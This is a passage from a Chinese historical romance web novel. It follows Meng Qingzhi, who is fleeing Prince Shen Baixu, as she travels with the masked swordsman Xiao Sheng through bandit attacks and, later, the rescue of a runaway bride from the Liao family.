勉强跨上马,想尽快从密林出去。 生死之时,多余的事务都排除脑后,就连被沈白叙捉到的风险都不管不顾了,心里只想着莫要一个人悄无声息地死在这里。 她不顾一切地向着有阳光的地方奔去,待到眼前一亮,以为终于摆脱密林阴影时,马儿忽然发出一阵嘶鸣,随即前蹄向前跌去,不知道是遇到了什么陷阱。 孟清芷猝不及防,跟着跌倒在地,所幸泥土松软,并未受伤。 可生病时的身子无力,她又遭受了这一摔,半晌爬不起来。 勉强挣起身子,隐约见到一人自不远处走来,黑衣加披风装扮,身量颀长挺拔,像是男子。他面上戴着一副鬼脸青面具,手中执剑,抱臂向她看了许久。 孟清芷周身无力,只能半睁着双眼看着。 直到他将她扛到肩上时,她才如梦初醒,挣扎一番无果,眼前景象颠簸,她昏沉之间睡了过去。 —— 又在颠簸中醒来,孟清芷指尖触碰到了木质马车侧壁,她挣扎着睁开沉重的眼皮,勉强看清车厢内的布置,略动了一下身子,又觉得浑身酸痛,不得不停了下来。 车厢一角,整齐码放着几本书籍和一些草药,微苦的气息时隐时现。 片刻后,马车停了下来,车厢一晃,戴着鬼脸青面具的男子翻身进来,见她醒了,便将一碗熬好的草药端了过来,示意她喝。 她摇头表示不用——这男子姓甚名谁她都不知道,怎么能随意喝药。 男子没再勉强,只压着声音说道:“若是想死,那便随你。” 孟清芷怔了一瞬,眼神在他面具上停留许久,方才用沙哑的嗓音问:“你是谁?” 他好像不是沈白叙手下之人,可看他费心设下陷阱这一出,似乎又别有用心。孟清芷初来乍到,也不认识多少人。 所以,他究竟是谁? 男子没有回答,只是将那碗草药又往前递了一点。 “喝了药,便告诉你。” 孟清芷面对着这碗苦到令人皱眉的药,又抬头看了一眼男人。 除了沈白叙,她从未和人有什么仇怨,更何况如果他真是沈白叙手下人,估计也不会在这时候下毒暗害她。 她把药接了过来,捏着鼻子喝完,苦到面目狰狞,但还是不忘龇牙咧嘴地问:“喝完了,你是谁?” 他把 空碗接了过去,却没正面回答问题。 “我是谁不重要,你只需要知道,我是要把你捉拿归案的人。” 孟清芷心中一沉。 完了,他还真是沈白叙的人。 “捉拿归案?”她双臂支起身子:“我做了何事?” 他从衣襟内掏出一张纸来,展开在她面前。 她定睛一瞧,是一张告示,上面画着她的样貌,悬赏金额是黄金一百两。 不用问,这样大的手笔,势必来自于沈白叙。 她心虚了一瞬,随即想到了什么,从衣襟内掏出仅剩的一只金钗和一对耳环来。 “这位壮士。”她只有五六分的虚弱,却伪装出十分来:“我只是一个弱女子,你就行行好……” 她的话没有说完,因为他举高了那份悬赏令,手指意味十足地在写着“黄金百两”之处敲了几下。 意思十分明白——她这点首饰,远远比不上黄金百两。 孟清芷抬着的手臂缓缓放了下来,放弃了这条路。 面对只是想要钱财的人,原本是好对付的,只可惜,她现在没有多余的钱财。 余光瞥见他在一旁坐下了,慢条斯理地擦拭着剑柄。她注意到那柄剑似乎不同于沈白叙军营里配备的武器。 “你不是沈白叙的人。”她试探性地问道。 他抬起头来,虽隔着面具,孟清芷还是察觉到了他有一瞬间的意外。 “你竟然直呼他名讳?”他问:“你们到底有何仇怨?” 她静默片刻,方才没好气地说道:“不就是男女之间那档子事。” “难道是他移情别恋抛弃了你?”他喃喃分析着,又觉得不对。 她气笑了:“难道就没有更正常一些的推测?” 不欲再同他兜圈子,她直言道:“他仗着权势,想要霸占我,被我捅了一刀。” 这话一出,他索性连剑柄都不擦了,直愣愣地望过来,许久都一动不动。 她说的这个理由,明显更加不合理吧? “他……可是当朝北辰王。”他犹豫半晌,才说出口。 “我自然知道。”她忍着浑身酸痛坐直了身子:“我管他是什么王,不愿意就是不愿意。” “能搭上北辰王,是多少女子求都求不得的福分。”他转过头去,又想起了什么:“更何况北辰王向来不近女色,你确信是他?” “他们都那样唤他。”她摇摇头:“我管他是不是。” 他沉吟片刻,似乎觉得这件事有了几分意思,肩膀震了震,又问:“你可知几日前,江城军营被公孙辞率军偷袭一事?” “知道,那时候沈白叙才被我捅了一刀。”她说。 他这是连续被震惊了三次,半晌又问道:“你可知,那夜公孙辞有备而来,伤了江城军数百余人,为此,北辰王被人参了一本,颜面尽失?” “不知。”她冷面问:“这又与我何干?” 他终于忍不住站起身来,走到她身边来,审视一番。 “你是大户人家的小姐?”他问。 若非家世显赫,断然培养不出来这样桀骜的女子。 孟清芷才要张口否认,话到嘴边又改了主意。 “是。”她说:“壮士若是能放了我归家,我父母定会以重金相谢。” 5. 第 5 章 他明显不信,只冷眼在她脸上看了一遭,就出去驾马车了。 孟清芷掀开帘子,见外面的景色略有些眼熟,真像是要原路返回的样子。 他怕是真的要将她送到沈白叙那边去。 她拖着病体,无奈地拍打着车厢前壁,无力地劝了几声。 “壮士,你何必同我一个弱女子过不去呢?” “你把我送回家,我父母一定会重金酬谢你的。” 她忽然想到了什么:“对了,我的马呢?” 赶车之人悠扬的声音传来:“卖了。” 她听了生气,重重拍了一下前壁:“你怎么能随意卖我的马?” 外头的声音依旧不慌不忙:“第一,你确定那是你的马?” 她一时语塞,又听他连番发问:“第二,那匹马带有江城军队标记的马鞍和马蹄钉,你也敢骑着四处走,不怕被发现?” “第三,你病得那样重,我是为了救你,才卖了马,换了这辆马车,不然怎么带着你赶路呢?” 看似句句有理,实则经不起推敲。孟清芷冷笑一声:“这位大善人如果真那么有善心,不妨救人救到底、送佛送到西,干脆放了我可好?” “我乃行走江湖之人,无非就是图财而已。北辰王出手大方,做完了这次买卖,我可以歇上许久,何乐而不为呢?” 孟清芷正想着用什么法子劝他,忽然整个马车剧烈晃动了一下,骤然终止了前进。 伴随着马匹的嘶鸣,孟清芷不受控制地向前栽倒,头差点撞在前壁上,所幸用手臂挡住了。 正想问出了何事,外头一片纷杂的脚步声传来,像是迅速将马车围住,随即,一道嚣张至极的声音传来:“识相的,快将买路财拿来!” 饶是孟清芷没见过这阵仗,也即刻猜出,这是碰到劫匪了。 听上去人数还不少,当真是才出虎穴又入狼窝,不得安宁。 她挠了挠前壁,悄声问:“壮士,我们有逃跑的机会吗?” 并无人回答她,就连喘息的间隙都没有,外面便传来了刀剑碰撞的打斗声。 她掀开车帘看了一眼,只见马车前零星有数十人缠斗在一起,他身形灵活,出手利落,只几剑便砍倒了三五人。 有几个人瞥见马车,试图靠近,才几步,便被削掉了半条命,躺在地上呻吟不止。 才一眨眼的功夫,这群乌合之众就剩下三五人还在坚持,为首的见势头不妙,往后退了几步,反身便拼命逃走了,剩下的几人见状,也跟了上去。 马车一晃,先映入眼帘的是鬼脸青面具,随后一股浓郁的血腥味传来,孟清芷皱了皱眉,但还是冲他点了点头。 “壮士好身手。”她暗中竖起大拇指。 他不紧不慢地坐在车厢里擦净了剑身,又皱着眉看了看自己身上的血迹。 真是不巧,这身衣服是他才换的,眼下又要换了。 瞥了她一眼,他扬了扬头:“你,出去。” “啊?”孟清芷十分意外:“这是……要放我走?” “你大可以试试。”他扔出这句话,冷冷地看着她掀开帘子出去,才开始换衣裳。 就算给她半个时辰逃跑,他也能追回来。 半盏茶的时间都没到,轿子一晃,孟清芷有些慌张地钻了进来。 彼时,他衣裳尚未穿好,露出一大片精壮但白皙的胸膛,肩上似乎有个像红梅一样的胎记。 孟清芷只看了一瞬,便别过脸去,口中说道:“你别误会,外面树上好像有人!” 他迅速理好衣衫,抓着剑就要出去,又被孟清芷拉住了衣袖:“等一下。” “壮士,可否告知你的名姓?”她问。 如此精绝的武功,她没准还要倚仗他生活,不能连名字都不知道。 “萧声。”他简短答完,帘子一动,已没了他的身影。 她从车厢后壁的缝隙看去,见马车后面又是一群人,都骑着马,只是比刚才的匪徒数量少一些。 以萧声的武功,应当不是什么大事,她才放心地靠在后壁上,便听到身后传来破空的弓箭声。 密密麻麻,响彻半空。 马车后壁瞬间被钉满了,有几支箭矢甚至穿透了侧壁,险些伤到她后背。 这次的匪徒似乎与刚才的不同,最起码武器更加精良,且训练有素。 孟清芷只思索了一瞬,便做出了逃离这里的决定。 再这样下去,车厢被毁是迟早的事,她绝不能坐以待毙。 瞅准双方喘气的间隙,她从马车里溜出来,直接到了马儿旁边,扬起马鞭,催促它快跑。 与此同时,一道黑影凌空而来,准确无误地落在她身旁,身后马蹄声顿起,追兵穷追不舍。 萧声忽然一手捏住孟清芷的后脖颈,用了些力气,将她甩到马上去,她还未及惊慌,便察觉到他也跳上来,同时挥剑斩断了马和马车之间的牵绊。 “喂,萧声。”她忽略耳边呼呼的风声,问:“这次你怎么不打了?” “他们明明没有几个人,你是没力气了吗?” “怎么不讲话,连讲话的力气都没有了吗?” 一只手顺着她的左肩爬上来,用力捏了捏,随后,低沉灼热的声音从她左耳边传来:“你叫什么名字?” “孟清芷。”她虽不解,但还是回答了。 “好,孟清芷。”他的声音愈发低迷:“往前走,越快越好,千万不要回头。” 随后,孟清芷便察觉到左肩一沉,他好像整个人都压了上来,一动不动。 她有种不祥的预感,左手拉着缰绳,右手拽了拽他的衣袖。 衣袖上温润滑腻,一股又一股的鲜血顺着右肩上的箭伤淌下来。 她倒吸一口冷气,顾不上其他,忙空出手来将他的衣襟带子与自己的腰肢牢牢绑在一起,随后随着马奋力抽了一鞭。 不知过了多久,他们一路向北,已经出了那片密林,眼前烟尘遍布,几乎迷了眼睛。 见身后再无追兵,孟清芷短暂地松了口气。 又行了几里路,看到有片群山巍峨,她调转马头,向山里去了。 好不容易寻得一处略干燥的山洞,她小心翼翼地下了马,叫萧声俯趴在马背上,栓好了马,才勉强将萧声从马背上拽下来。 因着没有控制好力道,萧声摔下来时又流了些血,发出一声闷哼。她忙上前去看,见他还活着,就放了心。 从他衣裳内里掏出来随身带着的伤药和酒,她费了好大力气才完成消毒、擦药和包扎。虽是黑夜,但仍能注意到他的右肩处有一朵显眼的梅花印记,似乎是胎记。 上药完毕,孟清芷一下坐在地上,头晕目眩,累得怎么都站不起来。 本想借此机会一走了之,可又想起方才他没有丢下她不管,反而将她护在身前,用宽大的身躯替她挡箭,她的心肠就硬不起来。 虽然他很有可能是为了那一百两黄金挡箭。 孟清芷一觉醒来,见天色已大亮了,且天气温暖晴朗,萧声在地上仍昏睡着。 她虽然累得腰酸背痛,也没有影响她对鬼脸青面具下容颜的半分兴趣。 此时,那个面具正静悄悄地滚落在一旁,许是昨夜萧声动弹时不慎滚落的。 她蹑手蹑脚地走到另一边,借着晨光向他脸上看去。 本以为面具下是一张疤痕遍布、丑陋不堪的脸,谁知,当看见阳光顺着他高挺的鼻梁,留下一道阴影在清秀白皙的面庞上时,孟清芷经不住吸了一口凉气。 超绝无敌小奶狗啊。 他眉尖若蹙,表情紧绷着,似乎仍在睡梦中防备着什么。孟清芷伸出手去,将他面上的散发拂开了。 “萧声,萧声?”她轻唤他:“醒醒。” 萧声醒来之时,先是轻喝一声,随即奋不顾身地将地上的面具拾起来,手忙脚乱地戴在脸上。 随即又充满防备地向她看过来。 “瞪什么?”孟清芷比他还要理直气壮:“是我救了你。” “面具……”嗓音沙哑的萧声最在意的仍然是这一点。 “什么面不面具的。”孟清芷打断他的话:“命才是最重要的,不是么?” 萧声犹豫了片刻,才问:“他们没再追上来?” “没有。”孟清芷干净利落地说:“你和他们有何仇怨?” 沉默良久,她幽然叹了口气:“不说就算了。” 又问他:“有吃的没有?” 萧声正咬着牙从地上坐起来,听了这话,摇了摇头。 “我本打算昨夜先去吃些东西,再将你送到江城军营去的,只是……” “只是没想到,两件事都没完成。”孟清芷顺着他的话嘲讽道:“人算不如天算。” 她往外走了几步,消失在土坡后头,不出一盏茶的时间又走了回来,手上多了两把绛紫色的野果子。 她往自己口中塞了一颗,又将其中一把塞进萧声手里:“解解渴吧。” 萧声犹豫片刻,用左手接过来,尝试着吃了一颗。 被酸到面目狰狞。 孟清芷心中觉得好笑,但假装没看到。 “喂。”她走到他跟前,毫不客气地问道:“回江城的路已经被你的仇人堵死了,还要去吗?” 萧声没有吭声。 “既然这样,那我们就各走各的路。”她拍拍手,走到马儿旁边去牵马:“有缘再会。” “你……”萧声捂着右肩,从地上站起来:“要去哪里?” 她没理他,牵着马走出一段距离,听到他那厢传来微弱的声音:“不去江城就是了……” 她才回过头来,嫣然一笑。 6. 第 6 章 自营地去往江城边界,约莫有十几里路。 沈白叙带着霍文忠等人送别了江城节度使盛思明,堆好的笑意瞬间冷凝成冰,一双本该含情的桃花眼里满是阴鸷,霍文忠等人看在眼里,不敢搭话。 沈白叙调转马头,催促马儿小跑起来,口中问道:“抓住没有?” 霍文忠赶忙追上去,禀报道:“王爷,那日人多混乱,众将士都忙着斩杀公孙贼,翌日清晨再去追,已失了踪迹……” “再查。”沈白叙垂下眸子,敛去深入骨髓的恨意,不等霍文忠说完,便吩咐道:“不仅出城路上要查,就连城中沿街小摊、商铺,均要查探一番,免得有人藏匿。” “是。” “她父母呢?” “王爷,事发当日,她父母就携家带口不知去向,这厢也在查。” 沈白叙不再说话,周身散发出冷硬之气,原本淡青色的眼下淤痕竟然有发黑的趋势,连日里睡不好的状态愈发明显。 这几日,他也不知为何,一闭眼就能看到那女子的身影,或娇或嗔,时冷时媚,起先还在他身下婉转承欢、不胜恩情,最后化作眉眼狰狞的鬼怪,翻身飞起,在他肩上落下尖锐的痛。 每日在心悸中醒来,他总是额间冒着冷汗干坐许久,方能回过神来。 也说不上心中是什么滋味,又恨又怕,还带了一丝惘然。想到她的所作所为,往往恨得咬牙切齿,又想到她掀开红盖头,一双凤目清冽自如的样子,心间又是一阵紧缩。 闭了眼,沉吟良久,终于下定决心寻了个正经郎中来,一番查探后,发现并非伤处未痊愈,而是他心悸难眠,又开了安神的方子。 此后几日,营中恍惚有传言,说那日军营遭遇公孙辞偷袭,是公孙辞里应外合之计谋,外有死士突袭,内有公孙辞新妇引诱北辰王,趁机刺杀。 计谋得逞,这才使得死伤人数上百。 也有人借机讥讽北辰王一世英名,因一女子毁于一旦。幸好皇帝并未持续下旨申斥,否则更要丢脸。 沈白叙独坐营帐中,双目紧闭良久,忽得睁开,忍到双目通红,方才压下狰狞的笑意。 这样一个女子,竟也能将他搅扰到这般狼狈的地步,有趣得紧。 待捉了她,到底要怎样处罚才是呢? …… 忽得又是一阵秋雨,天气愈加凉寒。孟清芷带着萧声找了一间不起眼的客栈住下来,一是养伤,而是盘点长久在外需要的物什。 先是置办了几件薄些的棉衣,免得着了风寒,又多多备了些伤药。住了两日,愈发觉得萧声钱财无多,她思虑良久,还是没敢把簪子当了去,以免泄露了自身踪迹。 虽然那耳坠在逃亡时不慎丢了一只,但她也无法回头去寻,只能暗中祈祷不会被沈白叙的人发现。 这晚,瞅准没人时,她下楼去买了两个烧饼,又向店小二要了两碗热水,才用脚敲了敲门,便听到里面传来手忙脚乱的声音,她又踹了两脚,才见萧声来开门。 只见他身着一袭白色里衣,趿拉着鞋子,面具都是歪的,一看就是临时戴好的。 孟清芷抬脚进门去,直到萧声关上门,才扬声问他:“急匆匆的作什么?我又不吃了你。” “况且,你没戴面具的样子我又不是没见过。” 萧声从门边一步闪到桌子前,急得剁了脚:“轻声些!” 他们两人囊中羞涩,只住得起这一间客栈,萧声每夜都打地铺。 他从她手中接过烧饼,微叹一声,右手接着碎渣,轻轻咬了一口。 孟清芷见他脸上浮现出一种“这种日子何时到头”的表情,不免觉得有些好笑。 “萧声,你是何方人士,平日里做些什么?”这话她问了有三五遍,可每次他都不愿作答。 “你我都认识这样久了,还瞒着作什么?”她嚼着烧饼,颇觉无奈。 “你不都看到了么?”萧声又啃了一口烧饼,无奈道:“行走江湖,无所事事。” 孟清芷盯着他看了半晌,方才摇摇头,口中叹气,显出万般可惜的样子。 “怎么?”他问。 “没什么。”孟清芷只是觉得,他这样好的身手,不去卖艺可惜了。 “对了。”萧声喝了一口水,方才正色道:“见过我容貌之事,不要对外人说。” “你右肩上的梅花印记?”孟清芷忽然想起这件事来,才问出口,便见到萧声脸色一下子沉了下去。 “此事也万万不可同别人讲!” “……好。”孟清芷百般问他为何,他只是不说,只好勉强答应下来,随即又笑道:“现下你也有把柄在我手上了。” 萧声瞥了她一眼,默不作声。 沉默着吃完烧饼,孟清芷忽得凑上前来,眉眼含笑:“大侠,能否教我武功?” 萧声口中的饼险些呛出来:“做什么?” 孟清芷娓娓道来:“外头这么危险,你还要带着我,若是我一直不识武功,岂不成了你的拖累?” 萧声本想说何必带着她,想到她见过自己的脸,又狠不下心,只好含糊道:“待伤好了罢。” “行。”孟清芷开开心心地答应下来。 …… 这几日,沈白叙颇为头痛。 睡眠问题才缓解了些,那公孙辞余党又卷土重来,颇有鱼死网破的意思。 连续几次进攻后,原本一举攻下江城的丰功伟绩已被民间的流言所侵蚀,更有甚者,说朝廷亲派王爷督战都难有起色,想必这回当真是社稷不稳。 沈白叙下令严查这些流言传播人,本以为能顺藤摸瓜,查到公孙辞余党踪迹,却没料到,审问过后,发现传播人都是老实巴交的农民。 问他们为何传播如此流言,他们也说不上来,只是觉得自己所言有理。 沈白叙下令继续查,这才逐渐问到一些鲜为人知的消息。 公孙辞奸诈,曾与江城中人反复保证,若是将来夺了天下,定要免去十年赋税,还说要将那荒山的地都开垦出来,分发给各家。 再加上公孙辞平日里惯会做小伏低,经常与民同乐,俨然一副明君的模样,确实俘虏了一片人心。 沈白叙冷笑,随即又叫人拨了些钱粮来,亲自送予这些农民。 看着他们先是面露迟疑,随后又受宠若惊地接了钱粮去了,沈白叙方才低声吩咐下去,严密监视这些人,若再有谣言自他们口中传出,一律处死。 他已经给过了他们机会,若再犯,就顾不得情面了。 营帐掀开,霍文忠走了进来, 行礼后,将近日所见所闻描述了一番。 “回王爷,属下叫人拿着这只金钗去江城、泉城、周城和阜城的当铺都问过,确实没见过踪迹,也未见过孟清芷本人。” “倒是江城有一处偏僻的马市,在那里查到了营中丢失的马。”霍文忠看了一眼沈白叙的脸色晦暗不明,继续禀报:“只是那马匹身上马鞍已丢失,马蹄钉也不知去向,只有一只马蹄处略微有些痕迹,被营中负责马匹的士兵认了出来。” “马市中人可有见过她?”沈白叙问。 “奇怪之处便在这里。”霍文忠硬着头皮说道:“来卖马的,是一个男子,从始至终都未曾有人见过孟清芷。” “男子?”沈白叙不自觉地眯了眼睛:“是何人?” “不知是何人,面上带着面具,穿着也不起眼,说是看上去就是普通走街串巷之人。”霍文忠说。 沈白叙略有些失神。 霍文忠见状,继续分析道:“这么快便有人卖马,极有可能是她相熟之人,不知是不是公孙辞那帮人手下,只是有一点,若是公孙辞手下人,应当不会如此缺银钱,还要特意出来卖马。” 沈白叙如何不知,他摇摇头:“许是故意做给我瞧的。” 轻而易举地在床上伤了他,还完好无损地回到了公孙辞那里,公孙辞此举就是故意放出风声来,意在对他羞辱打击。 “属下倒觉得,孟清芷应当是被过路的劫匪劫了去。”霍文忠怕沈白叙生气,便岔开思路:“她一个女子出逃,避开了闹市,一径沿着小路走,很容易被匪徒发现。趁乱卖军中的马,也颇有匪徒的作风。” “只是,若是这样,那她只怕是凶多吉少。”霍文忠说完,觉得沈白叙应当会开心些,悄悄抬眼望去,却见他愈发眉头紧锁,面色阴沉。 “从马市入手,仔细查探。”沈白叙下令:“周围小路也一并盘查,若有异常,随时禀报。” 霍文忠答应着去了。 沈白叙端起桌上放凉了的茶,一饮而尽,待放下茶杯时,方才发现自己的手臂竟然在微微颤抖。 一股难以言喻的焦灼,自胸腔发出,传遍四肢百骸。 若是她被匪徒劫了去,必定是生不如死,他倒宁愿她是在公孙辞手中。 这个想法一出,就连他自己都震惊难言,诧异许久。 难道他内心深处并不希望她身陷囹圄,而是? 许是她犯下的罪孽深重,只有完好无损地被他抓到,方能叫他一雪心中耻辱。若是叫别人捷足先登,难免失了意趣。 对,一定是这样。 好不容易平复心绪,查阅情报,预备着过几日继续追缴公孙辞,岂料营帐帘子一动,霍文忠又回来了。 “王爷。”他脚步急,声音也是气喘吁吁:“方才来报,说江城北部,临近泉城地界密林深处发现了一些打斗痕迹,确系山匪所为。” 说着,又从怀中掏出一个纸包来:“这是在密林中发现的,女子的一只耳坠。” 只一眼,沈白叙便看出,这是孟清芷大婚时戴的那一副。 只不过眼前这一只单独的耳坠,金耳钩已被什么人踩得变了形,上面还沾着一丝泥污,像极了眼下她未知的处境。 他抬起手,将那只耳坠子取了过来。 7. 第 7 章 才过去两月有余,深秋褪尽,遍地霜雾浸染,已是到了初冬时分。 京城北边的郾城,此时正是热闹的时候,街边集市遍布,无论大户小户,都在忙着筹备过年的冬粮。路边香气缭绕,人烟遍布,欢声笑语回荡在整条街上。 长兴北街的鹿子巷内,悄然走出一对衣着普通的男女,两人都穿着街头常见的灰鼠糙毛棉领长袍,高领竖起,遮住了脸。女子头上多一只兔皮棉帽,乳白色的光晕衬托着半张洁白无瑕的脸。 “师父。”她轻声唤他:“吃什么去?” 萧声嘴角向上的弧度压不住,他无奈地看了一眼她:“你昨儿不是吵吵着要吃那家羊肉锅子?” “今晨起来,又不太想吃了。”孟清芷无奈地撇了撇嘴:“不如就在这条街上买点煎包子好了。” 萧声轻笑一声,禁不住嘲笑道:“才赚了些钱,就挑起吃穿来,也不怕人笑话。” “话是这样说,钱是谁想到的主意?”孟清芷抬起肩膀,向他肩上撞去:“要不是我,你能从刘财主手里拿到钱?” 这倒也是,萧声正色起来,不再和她斗嘴,转而看向别处。 他们两人一个月前辗转来到郾城,花光了手中的银钱,几乎到了讨饭的地步,正在郾城大酒楼门前眼馋,孟清芷无意中发现有贼人暗中偷了一个富商的钱袋子。 萧声本不想多生事端,但被孟清芷推着搡着,只好出手,只用了不到一成的功力,便将那小偷捉住。 被偷钱袋子的富商正是郾城最大的财主刘金贵,他见萧声身手不凡,赞叹不已,不仅当场拿了十两银子出来答谢,更是私下里请萧声去做府上护卫。 萧声并不想长期在一处地方抛头露面,便拒绝了他的请求,只答应他可以偶尔接一些护送镖行的散活。 随后一个月,他统共就接过两回散活,还都是不远的行程,两三日便回来了,但刘金贵出手阔绰,眼下他们两人手上已有二十几两银子了。 这段时日,孟清芷也学了几招功夫,虽上不得台面,但最起码能做个帮手,偶尔也能给小贼来个迎头痛击。萧声甚至提出带她一同去,刘金贵满口应下,没有半点犹豫。 送货途中,偶尔遇上不平事,孟清芷总会拔刀相助,有萧声在,从未吃过败仗,郾城一带甚至有了“鬼面神君”的传闻,虽然说的是萧声,但孟清芷也是高兴的。 至此,他们也算是有了真正的落脚之地和糊口之处。 “不过话说回来。”孟清芷正在犹豫着吃什么,一边看向萧声:“你这样好的功夫,去哪里做不出一番功绩来,为什么做事总是畏首畏尾的?” 萧声还没回答,孟清芷便自嘲道:“罢了,若问你,你又是那套说辞:‘待来日有机会再慢慢告诉你’。” 也不知这机会几时才能寻到,多半是不想告诉她罢了。 萧声沉默片刻,方才缓声说道:“你的身世,不也没有告诉我。” 孟清芷瞪圆了双眼:“胡说,怎得没告诉你?” “江城农户,当真是你的身份?”萧声摇头,还是不信。 “不然呢?”孟清芷理直气壮。反正现代人的身份说出来也没人肯信,甚至无人能听懂,还不如只告知他这些。 “农户家的女儿,竟然会骑马?”萧声坦然问:“江城乃江南水乡,并不盛产马匹,你父母家也不是养马人,你从何处学得这一身骑马的本事?” “天生的。”孟清芷嘟囔了一句,迅速岔开话题:“还是去吃羊肉锅子吧,吃完了身上暖些,今夜好动身。” 萧声见她心虚,心下了然,也不再多问,因着两人今夜要护送一批棉衣到朔城去,吃完了锅子便回去打点行李,不在话下。 天黑难行,但这批棉衣是赶制出来的,务必要后日送到朔城成衣铺,所以两人接到货后,便赶着出门去,片刻也未曾耽搁。 看着马车中堆得山高的棉衣,孟清芷咂舌:“忽然要这么多,也不知为了何事。” “朔城廖家最近有喜事。”萧声回答道:“一是他们家三公子考取功名,再是二小姐近几日出嫁,棉衣是借着喜事接济穷人的。” “哦。”孟清芷随口说道:“那这廖家还算不错呢。” 行进了半宿,孟清芷值夜累了,便叫萧声看一会儿,自己才要仰躺着歇会儿,谁知无意间瞥了一眼路边,恍惚看到一个人形黑影,正在路边蹲踞着。 这一吓非同小可,她生怕是有人埋伏在路边抢劫,因此慌忙唤了萧声一起看。 萧声握紧手中剑,沉声说道:“若是不追上来,就无事。” 马车缓缓过去,那路边之人只是蜷缩在原地,偶尔发出一两声啜泣,并未有其他奇怪的反应。 萧声握剑的力度逐渐放松,很快便恢复了正常。 “无事,你先睡吧。”他说。 “师父。”孟清芷没了睡意:“刚刚好像是个女子?” 她甚少唤他师父,一般是有求于他或者拿不定主意的时候。 “怎么,你想回去看看?”萧声早看出她的想法,睨了她一眼:“危险,还要我说几遍?” “可是……”孟清芷隐约觉得不太能过意得去:“若是她一个弱女子在路边……” “好了。”萧声的声音散发出慵懒:“过一炷香的时辰,若无异常发生,我回去瞧瞧,你在马车上待着。” 孟清芷没有再反驳,毕竟就行走江湖的经验而言,确实是萧声更好些。 一炷香的时间过后,萧声吹了个呼哨,将昏昏欲睡的孟清芷唤醒:“我去了,你先别睡。” 夜风呼啸,孟清芷将头上棉帽除去,让寒风吹醒发昏的头脑,努力睁大眼睛,等着萧声回来。 时间一分一秒过去,她等得心焦,不由得持续往后看去。这么多天以来,不得不承认,她已经隐隐将萧声当成了支撑和救济者。 如果没有他,她都不知道自己该何去何从。 正焦急间,忽然半空中一声呼哨,随即传来一阵像鸟类展翅一样的声音,飞羽轻降,轿子抖了一下。 孟清芷吓了一跳,定睛一瞧,见萧声背着一人,轻松返回,见她皱着眉,便笑了一声:“是个穿着婚服的女子,看着倒像个千金小姐。” 两人将她 平放在马车上,果见她穿着大红喜袍,头上的饰物不翼而飞,头发也被扯得散乱。她紧闭着眼睛,整张脸通红,像是惊悸之后发了高热。 孟清芷拿了一套大衣替她盖上,又取了些水来给她润了润嘴唇。 好在朔城马上就到了,据萧声说,成衣铺旁边就有医馆,可以一并将这女子送去。 清晨,他们准时到了朔城成衣铺门前,因着时间尚早,仅有几个伙计忙着布置衣铺,掌柜的还未过来。 孟清芷和萧声在成衣铺伙计那里要了一碗稀粥,喝完后继续在车边等掌柜。眼看着晨雾渐消,朦胧中来了一人,脚步匆匆。 伙计们看到他,忙着招呼道:“钱管家,过来取成衣了?” 这钱管家便是廖家的管家,年纪不大,但可能是因为事务繁杂,略有些驼背,额上的发也白了几根,眉头紧锁。 听见伙计寒暄,他压下心事,勉强点了点头。 “都在这里了。”一个伙计指了指路边马车,上前来递了一杯茶予钱管家,一边笑道:“劳烦钱管家且等等,我们周掌柜还未过来。” 此时,马车上的女子似乎有了些意识,翻了翻身,发出轻微的声响。 孟清芷看向萧声:“既然周掌柜还未到,不如我先带着她去隔壁医馆医治。” 萧声点点头,才要讲话,便听见那女子猛地坐起来,又因为体力不支跌回去,重重倒在马车上。 所有人的目光都被这一声响吸引过去,钱管家手中的茶杯“啪”的一声掉在地上,骨碌碌滚到一边去了。 他顾不得看那茶杯,而是几步狂奔到马车跟前,颤着声音问道:“是二小姐不是?” 那女子先是点点头,想说什么,却又发不出声音,半晌后,眼中蓄满了泪,浑身发抖。 “真的是二小姐!”钱管家双腿一软跪在地上,抱着马车车辙,又是惊喜,又是流泪,及至成衣铺的伙计将他扶起来,他才挣扎着回身问:“这……?” “这位小姐是我们在路上遇到的。”孟清芷只说了这一句,便不肯再往下说,只凑近问道:“钱管家,这位小姐真是廖家二小姐?” 钱管家好不容易平复心绪,弄清楚事情经过后,方才叹道:“她昨儿大婚,因着夫家在京城,路途遥远,因此前儿就出发了,岂料中途遇到了劫匪,她过了一天还是下落不明,老太太急得已经一天一宿没吃饭了,嘴上还起了个大泡。” “谁知能被二位所救,真是天命所归。”钱管家一边说着,一边想跪下来磕头,孟清芷赶忙拦住,低声劝道:“钱管家既然得了人,就抓紧时间送回廖府去吧,省得老太太担心。” 钱管家又央求他们二人随他一同去廖府回话,孟清芷颇有些犹豫:“这些货还要有人看管和对账……” “没关系,你去吧,我在这里就成。”萧声正色道:“我就在这里等你。” 孟清芷懂他的意思,毕竟是廖家二小姐,若是他一个男子跟着去,怕是有诸多不便。更何况这廖家是朔城第一富户,他们日后若定居郾城,少不了要多往来朔城,能因此结识廖家,倒也是个不错的主意。 8. 第 8 章 因着未曾提前通报,孟清芷在南门边站了,静等片刻,方才听见一群人急匆匆地从正门迈出,为首的老妇人发色雪白但精神健硕,她衣着华贵,可面上并无半分骄矜之色,见到钱管家指认,她立刻命众人馋了她来,纳头便拜。 孟清芷错愕一瞬,忙伸出手去将老妇人扶住,钱管家等人也眼疾手快,将老太太扶住。 这样郑重的一拜,任谁都知道担不起。 孟清芷眉眼低垂,按照古代的礼节,没有过多关注老太太身后那一片衣衫华贵之人。 片刻过后,老太太情绪缓和了些,正好钱管家的声音出现在旁侧:“老太太,大老爷,郎中来瞧了,说二小姐身体无碍。” 一片如释重负的声音传来后,孟清芷方才抬起头来笑道:“那就恭喜老太太和大老爷,民女这厢便告退了。” 老太太一听,急得双眼一瞪:“那怎么行。” 身后一位神色严肃、目光如炬的中年男子颔首,走上前来沉声道:“老太太性急,没有别的意思,姑娘莫怪。既是廖家的救命恩人,廖家自然要好好款待的,姑娘若无旁的事,还是留下来,好歹吃顿饭再去罢。” 孟清芷本想着寒暄客套几句,再拿些赏银,便离开,谁知廖家好客,竟执意邀她进门做客。 看出她犹豫,老太太马上补充道:“若是姑娘觉得不方便,我叫钱管家去,把你那位同行的男伴寻了来,一起到府上做客便是了。” 言毕,不等她开口,便叫钱管家去请。 廖家一片盛情难却,孟清芷也不好再说什么,当下随廖家老太太进府去。 廖家虽说是大家族,可宅院并不算年久,阔气有余,但明显底蕴不足。据萧声所言,廖家是举家搬迁过来之后才发迹的,想来是对得上的。 随着游廊穿过前院,后院天地一宽。翠竹林立,小桥流水,相映成趣。有一丫鬟打扮的人先问道:“老太太,可是要去二小姐处?” 